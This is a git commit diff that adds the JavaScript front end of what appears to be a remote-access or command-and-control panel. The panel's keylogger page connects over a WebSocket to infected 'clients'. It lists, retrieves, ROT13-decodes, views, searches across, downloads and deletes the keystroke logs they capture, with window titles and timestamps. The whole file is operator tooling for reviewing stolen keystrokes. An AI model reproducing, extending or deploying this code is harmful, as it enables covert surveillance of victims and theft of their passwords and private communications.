inital commit
This commit is contained in:
@@ -0,0 +1,715 @@
|
||||
import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
|
||||
|
||||
const clientId = window.location.pathname.split("/")[1];
|
||||
if (!clientId) {
|
||||
alert("Missing clientId");
|
||||
location.href = "/";
|
||||
}
|
||||
|
||||
const clientLabel = document.getElementById("clientLabel");
|
||||
const statusPill = document.getElementById("status-pill");
|
||||
const fileList = document.getElementById("file-list");
|
||||
const refreshBtn = document.getElementById("refreshBtn");
|
||||
const clearBtn = document.getElementById("clearBtn");
|
||||
const logViewer = document.getElementById("log-viewer");
|
||||
const logContent = document.getElementById("log-content");
|
||||
const viewingFilename = document.getElementById("viewing-filename");
|
||||
const closeViewerBtn = document.getElementById("closeViewerBtn");
|
||||
const logLines = document.getElementById("log-lines");
|
||||
const logChars = document.getElementById("log-chars");
|
||||
const logUpdated = document.getElementById("log-updated");
|
||||
const searchInput = document.getElementById("searchInput");
|
||||
const clearSearchBtn = document.getElementById("clearSearchBtn");
|
||||
const searchNav = document.getElementById("searchNav");
|
||||
const searchCount = document.getElementById("searchCount");
|
||||
const prevMatchBtn = document.getElementById("prevMatchBtn");
|
||||
const nextMatchBtn = document.getElementById("nextMatchBtn");
|
||||
const searchAllBtn = document.getElementById("searchAllBtn");
|
||||
const globalSearchModal = document.getElementById("globalSearchModal");
|
||||
const closeGlobalSearchBtn = document.getElementById("closeGlobalSearchBtn");
|
||||
const globalSearchInput = document.getElementById("globalSearchInput");
|
||||
const globalSearchClearBtn = document.getElementById("globalSearchClearBtn");
|
||||
const globalSearchResults = document.getElementById("globalSearchResults");
|
||||
const globalSearchStats = document.getElementById("globalSearchStats");
|
||||
const globalSearchProgress = document.getElementById("globalSearchProgress");
|
||||
const globalSearchCount = document.getElementById("globalSearchCount");
|
||||
|
||||
let ws = null;
|
||||
let fileIndex = new Map();
|
||||
let pendingDownload = null;
|
||||
let currentLogContent = "";
|
||||
let searchMatches = [];
|
||||
let currentMatchIndex = -1;
|
||||
let globalSearchCache = new Map();
|
||||
let globalSearchAbortController = null;
|
||||
|
||||
clientLabel.textContent = clientId;
|
||||
|
||||
function updateStatus(className, text) {
|
||||
statusPill.className = `pill ${className}`;
|
||||
statusPill.textContent = text;
|
||||
}
|
||||
|
||||
function connect() {
|
||||
const protocol = window.location.protocol === "https:" ? "wss:" : "ws:";
|
||||
const wsUrl = `${protocol}//${window.location.host}/api/clients/${clientId}/keylogger/ws`;
|
||||
|
||||
ws = new WebSocket(wsUrl);
|
||||
ws.binaryType = "arraybuffer";
|
||||
|
||||
ws.onopen = () => {
|
||||
console.log("Keylogger connected");
|
||||
updateStatus("pill-online", "Connected");
|
||||
requestFileList();
|
||||
};
|
||||
|
||||
ws.onmessage = (event) => {
|
||||
const msg = decodeMsgpack(event.data);
|
||||
if (!msg) {
|
||||
console.error("Failed to decode message");
|
||||
return;
|
||||
}
|
||||
handleMessage(msg);
|
||||
};
|
||||
|
||||
ws.onerror = (err) => {
|
||||
console.error("WebSocket error:", err);
|
||||
updateStatus("pill-offline", "Connection Error");
|
||||
};
|
||||
|
||||
ws.onclose = () => {
|
||||
console.log("Keylogger disconnected");
|
||||
updateStatus("pill-offline", "Disconnected");
|
||||
setTimeout(() => connect(), 3000);
|
||||
};
|
||||
}
|
||||
|
||||
function send(msg) {
|
||||
if (ws && ws.readyState === WebSocket.OPEN) {
|
||||
ws.send(encodeMsgpack(msg));
|
||||
}
|
||||
}
|
||||
|
||||
function handleMessage(msg) {
|
||||
console.log("Received:", msg.type);
|
||||
|
||||
switch (msg.type) {
|
||||
case "ready":
|
||||
console.log("Keylogger session ready");
|
||||
break;
|
||||
case "status":
|
||||
if (msg.status === "offline") {
|
||||
updateStatus("pill-offline", "Client Offline");
|
||||
}
|
||||
break;
|
||||
case "keylog_file_list":
|
||||
displayFileList(msg.files || []);
|
||||
break;
|
||||
case "keylog_file_content":
|
||||
if (pendingDownload && msg.filename === pendingDownload) {
|
||||
downloadLog(msg.filename, msg.content);
|
||||
pendingDownload = null;
|
||||
} else {
|
||||
displayFileContent(msg.filename, msg.content);
|
||||
}
|
||||
break;
|
||||
case "keylog_clear_result":
|
||||
if (msg.ok) {
|
||||
window.showToast("All logs cleared successfully", "success");
|
||||
setTimeout(() => {
|
||||
window.location.reload();
|
||||
}, 1000);
|
||||
} else {
|
||||
window.showToast(msg.error || "Failed to clear logs", "error");
|
||||
}
|
||||
break;
|
||||
case "keylog_delete_result":
|
||||
if (msg.ok) {
|
||||
window.showToast(`Deleted ${msg.filename}`, "success");
|
||||
requestFileList();
|
||||
} else {
|
||||
window.showToast(msg.error || "Failed to delete log", "error");
|
||||
}
|
||||
break;
|
||||
case "command_result":
|
||||
if (!msg.ok) {
|
||||
window.showToast(msg.message || "Command failed", "error");
|
||||
}
|
||||
break;
|
||||
default:
|
||||
console.log("Unknown message type:", msg.type);
|
||||
}
|
||||
}
|
||||
|
||||
function requestFileList() {
|
||||
send({ type: "keylog_list" });
|
||||
}
|
||||
|
||||
function requestFileContent(filename) {
|
||||
send({ type: "keylog_retrieve", filename });
|
||||
}
|
||||
|
||||
function requestClearAll() {
|
||||
send({ type: "keylog_clear_all" });
|
||||
}
|
||||
|
||||
function requestDeleteFile(filename) {
|
||||
send({ type: "keylog_delete", filename });
|
||||
}
|
||||
|
||||
function downloadLog(filename, content) {
|
||||
const decoded = rot13Decode(content || "");
|
||||
const blob = new Blob([decoded], { type: "text/plain;charset=utf-8" });
|
||||
const url = URL.createObjectURL(blob);
|
||||
const link = document.createElement("a");
|
||||
link.href = url;
|
||||
link.download = filename.replace(/\.log$/i, "") + "-decoded.txt";
|
||||
document.body.appendChild(link);
|
||||
link.click();
|
||||
link.remove();
|
||||
URL.revokeObjectURL(url);
|
||||
}
|
||||
|
||||
function displayFileList(files) {
|
||||
const sortedFiles = (files || []).slice().sort((a, b) => {
|
||||
const aTime = a?.date ? new Date(a.date).getTime() : 0;
|
||||
const bTime = b?.date ? new Date(b.date).getTime() : 0;
|
||||
return bTime - aTime;
|
||||
});
|
||||
|
||||
fileIndex = new Map(sortedFiles.map((f) => [f.name, f]));
|
||||
if (!sortedFiles || sortedFiles.length === 0) {
|
||||
fileList.innerHTML = `
|
||||
<div class="text-slate-500 text-center py-8">
|
||||
<i class="fa-solid fa-inbox text-4xl mb-2"></i>
|
||||
<p>No log files found</p>
|
||||
</div>
|
||||
`;
|
||||
return;
|
||||
}
|
||||
|
||||
fileList.innerHTML = sortedFiles
|
||||
.map(
|
||||
(file) => `
|
||||
<div class="group flex items-center justify-between gap-3 p-3 bg-slate-900/60 rounded-lg border border-slate-800 hover:border-slate-600 hover:bg-slate-900/80 transition-colors">
|
||||
<div class="flex items-center gap-3">
|
||||
<div class="h-10 w-10 rounded-lg bg-yellow-400/10 border border-yellow-500/30 flex items-center justify-center text-yellow-400">
|
||||
<i class="fa-solid fa-file-lines"></i>
|
||||
</div>
|
||||
<div>
|
||||
<div class="font-mono text-sm text-slate-100">${escapeHtml(file.name)}</div>
|
||||
<div class="flex flex-wrap items-center gap-2 text-xs text-slate-400">
|
||||
<span class="inline-flex items-center gap-1 px-2 py-1 rounded bg-slate-800/70 border border-slate-700">
|
||||
<i class="fa-solid fa-weight-hanging text-slate-500"></i>
|
||||
${formatBytes(file.size)}
|
||||
</span>
|
||||
<span class="inline-flex items-center gap-1 px-2 py-1 rounded bg-slate-800/70 border border-slate-700">
|
||||
<i class="fa-solid fa-calendar text-slate-500"></i>
|
||||
${formatDate(file.date)}
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="flex items-center gap-2">
|
||||
<button
|
||||
class="view-log-btn px-3 py-2 rounded-lg border border-blue-700 bg-blue-900/50 hover:bg-blue-800/70 text-blue-100 flex items-center gap-2"
|
||||
data-filename="${file.name}"
|
||||
>
|
||||
<i class="fa-solid fa-eye"></i>
|
||||
<span>View</span>
|
||||
</button>
|
||||
<button
|
||||
class="download-log-btn px-3 py-2 rounded-lg border border-emerald-700 bg-emerald-900/40 hover:bg-emerald-800/70 text-emerald-100 flex items-center gap-2"
|
||||
data-filename="${file.name}"
|
||||
>
|
||||
<i class="fa-solid fa-download"></i>
|
||||
<span>Download</span>
|
||||
</button>
|
||||
<button
|
||||
class="delete-log-btn px-3 py-2 rounded-lg border border-red-700 bg-red-900/40 hover:bg-red-800/70 text-red-100 flex items-center gap-2"
|
||||
data-filename="${file.name}"
|
||||
>
|
||||
<i class="fa-solid fa-trash"></i>
|
||||
<span>Delete</span>
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
`
|
||||
)
|
||||
.join("");
|
||||
}
|
||||
|
||||
function displayFileContent(filename, content) {
|
||||
logViewer.classList.remove("hidden");
|
||||
viewingFilename.textContent = filename;
|
||||
const decoded = rot13Decode(content || "");
|
||||
currentLogContent = decoded;
|
||||
logContent.innerHTML = renderLogHtml(decoded);
|
||||
const lineCount = decoded ? decoded.split("\n").length : 0;
|
||||
logLines.textContent = `Lines: ${lineCount}`;
|
||||
logChars.textContent = `Chars: ${decoded.length}`;
|
||||
const meta = fileIndex.get(filename);
|
||||
logUpdated.textContent = `Updated: ${meta?.date ? formatDate(meta.date) : "-"}`;
|
||||
logContent.scrollTop = 0;
|
||||
resetSearch();
|
||||
}
|
||||
|
||||
function renderLogHtml(text) {
|
||||
const escaped = escapeHtml(text);
|
||||
const withTimestamps = escaped.replace(
|
||||
/\[(\d{4}-\d{2}-\d{2}\s\d{2}:\d{2}:\d{2})\]/g,
|
||||
'<span class="text-emerald-300">[$1]</span>'
|
||||
);
|
||||
const withWindowTitles = withTimestamps.replace(
|
||||
/\]\s\[([^\]]+?)\](?=\s)/g,
|
||||
'] <span class="text-cyan-300 font-semibold">[$1]</span>'
|
||||
);
|
||||
const withKeys = withWindowTitles.replace(
|
||||
/\[(?!\d{4}-\d{2}-\d{2})([^\]]+)\]/g,
|
||||
'<span class="text-amber-300">[$1]</span>'
|
||||
);
|
||||
return withKeys;
|
||||
}
|
||||
|
||||
function rot13Decode(str) {
|
||||
return str.replace(/[a-zA-Z]/g, (char) => {
|
||||
const start = char <= "Z" ? 65 : 97;
|
||||
return String.fromCharCode(
|
||||
((char.charCodeAt(0) - start + 13) % 26) + start
|
||||
);
|
||||
});
|
||||
}
|
||||
|
||||
function formatBytes(bytes) {
|
||||
if (bytes === 0) return "0 B";
|
||||
const k = 1024;
|
||||
const sizes = ["B", "KB", "MB", "GB"];
|
||||
const i = Math.floor(Math.log(bytes) / Math.log(k));
|
||||
return Math.round(bytes / Math.pow(k, i) * 100) / 100 + " " + sizes[i];
|
||||
}
|
||||
|
||||
function formatDate(dateStr) {
|
||||
if (!dateStr) return "Unknown";
|
||||
const date = new Date(dateStr);
|
||||
return date.toLocaleDateString() + " " + date.toLocaleTimeString();
|
||||
}
|
||||
|
||||
function escapeHtml(text) {
|
||||
const div = document.createElement("div");
|
||||
div.textContent = text || "";
|
||||
return div.innerHTML;
|
||||
}
|
||||
|
||||
function resetSearch() {
|
||||
searchInput.value = "";
|
||||
searchMatches = [];
|
||||
currentMatchIndex = -1;
|
||||
clearSearchBtn.classList.add("hidden");
|
||||
searchNav.classList.add("hidden");
|
||||
if (currentLogContent) {
|
||||
logContent.innerHTML = renderLogHtml(currentLogContent);
|
||||
}
|
||||
}
|
||||
|
||||
function performSearch(query) {
|
||||
if (!query || !currentLogContent) {
|
||||
resetSearch();
|
||||
return;
|
||||
}
|
||||
|
||||
const lowerQuery = query.toLowerCase();
|
||||
const lowerContent = currentLogContent.toLowerCase();
|
||||
searchMatches = [];
|
||||
|
||||
let index = 0;
|
||||
while ((index = lowerContent.indexOf(lowerQuery, index)) !== -1) {
|
||||
searchMatches.push(index);
|
||||
index += query.length;
|
||||
}
|
||||
|
||||
if (searchMatches.length > 0) {
|
||||
currentMatchIndex = 0;
|
||||
highlightMatches(query);
|
||||
scrollToMatch(0);
|
||||
updateSearchUI();
|
||||
} else {
|
||||
logContent.innerHTML = renderLogHtml(currentLogContent);
|
||||
searchCount.textContent = "0 / 0";
|
||||
searchNav.classList.remove("hidden");
|
||||
prevMatchBtn.disabled = true;
|
||||
nextMatchBtn.disabled = true;
|
||||
}
|
||||
|
||||
clearSearchBtn.classList.remove("hidden");
|
||||
}
|
||||
|
||||
function highlightMatches(query) {
|
||||
const escaped = escapeHtml(currentLogContent);
|
||||
const regex = new RegExp(escapeRegex(query), "gi");
|
||||
let result = escaped.replace(regex, (match, offset) => {
|
||||
const matchIndex = searchMatches.indexOf(currentLogContent.toLowerCase().indexOf(match.toLowerCase(), offset));
|
||||
const isCurrent = matchIndex === currentMatchIndex;
|
||||
return `<mark class="${isCurrent ? 'search-current' : 'search-match'}" data-match-index="${matchIndex}">${match}</mark>`;
|
||||
});
|
||||
|
||||
// Apply syntax highlighting
|
||||
result = result.replace(
|
||||
/\[(\d{4}-\d{2}-\d{2}\s\d{2}:\d{2}:\d{2})\]/g,
|
||||
'<span class="text-emerald-300">[$1]</span>'
|
||||
);
|
||||
result = result.replace(
|
||||
/\]\s\[([^\]]+?)\](?=\s)/g,
|
||||
'] <span class="text-cyan-300 font-semibold">[$1]</span>'
|
||||
);
|
||||
|
||||
logContent.innerHTML = result;
|
||||
}
|
||||
|
||||
function escapeRegex(str) {
|
||||
return str.replace(/[.*+?^${}()|[\]\\]/g, "\\$&");
|
||||
}
|
||||
|
||||
function scrollToMatch(index) {
|
||||
const marks = logContent.querySelectorAll("mark");
|
||||
if (marks[index]) {
|
||||
marks[index].scrollIntoView({ behavior: "smooth", block: "center" });
|
||||
}
|
||||
}
|
||||
|
||||
function updateSearchUI() {
|
||||
searchNav.classList.remove("hidden");
|
||||
searchCount.textContent = `${currentMatchIndex + 1} / ${searchMatches.length}`;
|
||||
prevMatchBtn.disabled = currentMatchIndex === 0;
|
||||
nextMatchBtn.disabled = currentMatchIndex === searchMatches.length - 1;
|
||||
|
||||
// Update highlight classes
|
||||
logContent.querySelectorAll("mark").forEach((mark, idx) => {
|
||||
if (idx === currentMatchIndex) {
|
||||
mark.classList.add("search-current");
|
||||
mark.classList.remove("search-match");
|
||||
} else {
|
||||
mark.classList.remove("search-current");
|
||||
mark.classList.add("search-match");
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
function navigateSearch(direction) {
|
||||
if (searchMatches.length === 0) return;
|
||||
|
||||
if (direction === "next") {
|
||||
currentMatchIndex = Math.min(currentMatchIndex + 1, searchMatches.length - 1);
|
||||
} else {
|
||||
currentMatchIndex = Math.max(currentMatchIndex - 1, 0);
|
||||
}
|
||||
|
||||
scrollToMatch(currentMatchIndex);
|
||||
updateSearchUI();
|
||||
}
|
||||
|
||||
searchInput.addEventListener("input", (e) => {
|
||||
performSearch(e.target.value);
|
||||
});
|
||||
|
||||
clearSearchBtn.addEventListener("click", () => {
|
||||
resetSearch();
|
||||
});
|
||||
|
||||
prevMatchBtn.addEventListener("click", () => {
|
||||
navigateSearch("prev");
|
||||
});
|
||||
|
||||
nextMatchBtn.addEventListener("click", () => {
|
||||
navigateSearch("next");
|
||||
});
|
||||
|
||||
searchAllBtn.addEventListener("click", () => {
|
||||
globalSearchModal.classList.remove("hidden");
|
||||
globalSearchInput.focus();
|
||||
});
|
||||
|
||||
closeGlobalSearchBtn.addEventListener("click", () => {
|
||||
globalSearchModal.classList.add("hidden");
|
||||
if (globalSearchAbortController) {
|
||||
globalSearchAbortController.abort();
|
||||
globalSearchAbortController = null;
|
||||
}
|
||||
});
|
||||
|
||||
globalSearchModal.addEventListener("click", (e) => {
|
||||
if (e.target === globalSearchModal) {
|
||||
closeGlobalSearchBtn.click();
|
||||
}
|
||||
});
|
||||
|
||||
let globalSearchTimeout = null;
|
||||
globalSearchInput.addEventListener("input", (e) => {
|
||||
const query = e.target.value.trim();
|
||||
|
||||
if (query.length > 0) {
|
||||
globalSearchClearBtn.classList.remove("hidden");
|
||||
} else {
|
||||
globalSearchClearBtn.classList.add("hidden");
|
||||
}
|
||||
|
||||
clearTimeout(globalSearchTimeout);
|
||||
|
||||
if (query.length < 3) {
|
||||
globalSearchResults.innerHTML = `
|
||||
<div class="text-slate-400 text-center py-8">
|
||||
<i class="fa-solid fa-magnifying-glass text-4xl mb-2 opacity-50"></i>
|
||||
<p>Enter at least 3 characters to search</p>
|
||||
</div>
|
||||
`;
|
||||
globalSearchStats.classList.add("hidden");
|
||||
return;
|
||||
}
|
||||
|
||||
globalSearchTimeout = setTimeout(() => {
|
||||
performGlobalSearch(query);
|
||||
}, 300);
|
||||
});
|
||||
|
||||
globalSearchClearBtn.addEventListener("click", () => {
|
||||
globalSearchInput.value = "";
|
||||
globalSearchClearBtn.classList.add("hidden");
|
||||
globalSearchResults.innerHTML = `
|
||||
<div class="text-slate-400 text-center py-8">
|
||||
<i class="fa-solid fa-magnifying-glass text-4xl mb-2 opacity-50"></i>
|
||||
<p>Enter a search term to find across all log files</p>
|
||||
</div>
|
||||
`;
|
||||
globalSearchStats.classList.add("hidden");
|
||||
});
|
||||
|
||||
async function performGlobalSearch(query) {
|
||||
if (globalSearchAbortController) {
|
||||
globalSearchAbortController.abort();
|
||||
}
|
||||
globalSearchAbortController = new AbortController();
|
||||
|
||||
const files = Array.from(fileIndex.values());
|
||||
const lowerQuery = query.toLowerCase();
|
||||
const results = [];
|
||||
|
||||
globalSearchResults.innerHTML = `
|
||||
<div class="text-slate-400 text-center py-8">
|
||||
<i class="fa-solid fa-spinner fa-spin text-4xl mb-2"></i>
|
||||
<p>Searching through ${files.length} files...</p>
|
||||
</div>
|
||||
`;
|
||||
globalSearchStats.classList.remove("hidden");
|
||||
globalSearchProgress.textContent = "Searching...";
|
||||
globalSearchCount.textContent = "";
|
||||
|
||||
let processedCount = 0;
|
||||
|
||||
for (const file of files) {
|
||||
if (globalSearchAbortController.signal.aborted) {
|
||||
return;
|
||||
}
|
||||
|
||||
try {
|
||||
let content = globalSearchCache.get(file.name);
|
||||
|
||||
if (!content) {
|
||||
content = await loadFileContent(file.name);
|
||||
globalSearchCache.set(file.name, content);
|
||||
}
|
||||
|
||||
const lowerContent = content.toLowerCase();
|
||||
const matches = [];
|
||||
let index = 0;
|
||||
|
||||
while ((index = lowerContent.indexOf(lowerQuery, index)) !== -1) {
|
||||
const start = Math.max(0, index - 50);
|
||||
const end = Math.min(content.length, index + query.length + 50);
|
||||
let context = content.substring(start, end);
|
||||
|
||||
if (start > 0) context = "..." + context;
|
||||
if (end < content.length) context = context + "...";
|
||||
|
||||
matches.push({
|
||||
index,
|
||||
context,
|
||||
line: content.substring(0, index).split("\n").length
|
||||
});
|
||||
|
||||
index += query.length;
|
||||
}
|
||||
|
||||
if (matches.length > 0) {
|
||||
results.push({
|
||||
file: file.name,
|
||||
date: file.date,
|
||||
matches
|
||||
});
|
||||
}
|
||||
|
||||
processedCount++;
|
||||
globalSearchProgress.textContent = `Searched ${processedCount} / ${files.length} files`;
|
||||
|
||||
} catch (err) {
|
||||
console.error(`Failed to search ${file.name}:`, err);
|
||||
}
|
||||
}
|
||||
|
||||
displayGlobalSearchResults(results, query);
|
||||
}
|
||||
|
||||
function loadFileContent(filename) {
|
||||
return new Promise((resolve, reject) => {
|
||||
let resolved = false;
|
||||
const timeout = setTimeout(() => {
|
||||
if (!resolved) {
|
||||
reject(new Error("Timeout loading file"));
|
||||
}
|
||||
}, 10000);
|
||||
|
||||
const handler = (event) => {
|
||||
const msg = decodeMsgpack(event.data);
|
||||
if (msg && msg.type === "keylog_file_content" && msg.filename === filename) {
|
||||
clearTimeout(timeout);
|
||||
resolved = true;
|
||||
ws.removeEventListener("message", handler);
|
||||
resolve(rot13Decode(msg.content || ""));
|
||||
}
|
||||
};
|
||||
|
||||
ws.addEventListener("message", handler);
|
||||
send({ type: "keylog_retrieve", filename });
|
||||
});
|
||||
}
|
||||
|
||||
function displayGlobalSearchResults(results, query) {
|
||||
const totalMatches = results.reduce((sum, r) => sum + r.matches.length, 0);
|
||||
|
||||
globalSearchProgress.textContent = "Search complete";
|
||||
globalSearchCount.textContent = `Found ${totalMatches} matches in ${results.length} files`;
|
||||
|
||||
if (results.length === 0) {
|
||||
globalSearchResults.innerHTML = `
|
||||
<div class="text-slate-400 text-center py-8">
|
||||
<i class="fa-solid fa-circle-xmark text-4xl mb-2 opacity-50"></i>
|
||||
<p>No matches found for "${escapeHtml(query)}"</p>
|
||||
</div>
|
||||
`;
|
||||
return;
|
||||
}
|
||||
|
||||
const html = results.map(result => `
|
||||
<div class="mb-4 bg-slate-800/50 border border-slate-700 rounded-lg p-3">
|
||||
<div class="flex items-center justify-between mb-2">
|
||||
<div class="flex items-center gap-2">
|
||||
<i class="fa-solid fa-file-lines text-yellow-400"></i>
|
||||
<span class="font-mono text-sm font-semibold text-slate-200">${escapeHtml(result.file)}</span>
|
||||
<span class="text-xs text-slate-400">${formatDate(result.date)}</span>
|
||||
</div>
|
||||
<span class="text-xs px-2 py-1 rounded bg-blue-900/40 border border-blue-700 text-blue-200">
|
||||
${result.matches.length} match${result.matches.length !== 1 ? 'es' : ''}
|
||||
</span>
|
||||
</div>
|
||||
<div class="space-y-2">
|
||||
${result.matches.slice(0, 5).map((match, idx) => `
|
||||
<div class="global-search-result text-xs bg-slate-950/70 border border-slate-700 rounded p-2 font-mono cursor-pointer hover:border-blue-600 transition-colors"
|
||||
data-filename="${escapeHtml(result.file)}"
|
||||
data-query="${escapeHtml(query)}"
|
||||
data-index="${match.index}">
|
||||
<div class="text-slate-500 mb-1">Line ${match.line}</div>
|
||||
<div class="text-slate-300">${highlightQueryInContext(match.context, query)}</div>
|
||||
</div>
|
||||
`).join('')}
|
||||
${result.matches.length > 5 ? `
|
||||
<div class="text-xs text-slate-400 text-center py-1">
|
||||
+${result.matches.length - 5} more matches
|
||||
</div>
|
||||
` : ''}
|
||||
</div>
|
||||
</div>
|
||||
`).join('');
|
||||
|
||||
globalSearchResults.innerHTML = html;
|
||||
}
|
||||
|
||||
globalSearchResults.addEventListener("click", (e) => {
|
||||
const resultDiv = e.target.closest(".global-search-result");
|
||||
if (resultDiv) {
|
||||
const filename = resultDiv.dataset.filename;
|
||||
const query = resultDiv.dataset.query;
|
||||
const targetIndex = parseInt(resultDiv.dataset.index, 10);
|
||||
openFileWithSearch(filename, query, targetIndex);
|
||||
}
|
||||
});
|
||||
|
||||
function highlightQueryInContext(context, query) {
|
||||
const escaped = escapeHtml(context);
|
||||
const regex = new RegExp(`(${escapeRegex(query)})`, 'gi');
|
||||
return escaped.replace(regex, '<mark class="bg-yellow-400/40 text-yellow-100 px-1 rounded">$1</mark>');
|
||||
}
|
||||
|
||||
function openFileWithSearch(filename, query, targetIndex) {
|
||||
globalSearchModal.classList.add("hidden");
|
||||
requestFileContent(filename);
|
||||
|
||||
setTimeout(() => {
|
||||
searchInput.value = query;
|
||||
performSearch(query);
|
||||
|
||||
if (typeof targetIndex === 'number' && searchMatches.length > 0) {
|
||||
setTimeout(() => {
|
||||
const matchIdx = searchMatches.indexOf(targetIndex);
|
||||
if (matchIdx !== -1) {
|
||||
currentMatchIndex = matchIdx;
|
||||
scrollToMatch(matchIdx);
|
||||
updateSearchUI();
|
||||
}
|
||||
}, 100);
|
||||
}
|
||||
}, 500);
|
||||
}
|
||||
|
||||
refreshBtn.addEventListener("click", () => {
|
||||
requestFileList();
|
||||
window.showToast("Refreshing file list...", "info");
|
||||
});
|
||||
|
||||
clearBtn.addEventListener("click", () => {
|
||||
if (
|
||||
confirm(
|
||||
"Are you sure you want to clear all keylog files? This action cannot be undone."
|
||||
)
|
||||
) {
|
||||
requestClearAll();
|
||||
}
|
||||
});
|
||||
|
||||
closeViewerBtn.addEventListener("click", () => {
|
||||
logViewer.classList.add("hidden");
|
||||
});
|
||||
|
||||
fileList.addEventListener("click", (event) => {
|
||||
const target = event.target.closest("button");
|
||||
if (!target) return;
|
||||
const filename = target.dataset.filename;
|
||||
if (!filename) return;
|
||||
|
||||
if (target.classList.contains("view-log-btn")) {
|
||||
requestFileContent(filename);
|
||||
return;
|
||||
}
|
||||
|
||||
if (target.classList.contains("download-log-btn")) {
|
||||
pendingDownload = filename;
|
||||
requestFileContent(filename);
|
||||
return;
|
||||
}
|
||||
|
||||
if (target.classList.contains("delete-log-btn")) {
|
||||
if (confirm(`Delete ${filename}? This cannot be undone.`)) {
|
||||
requestDeleteFile(filename);
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
import("/assets/nav.js");
|
||||
connect();
|
||||
Reference in New Issue
Block a user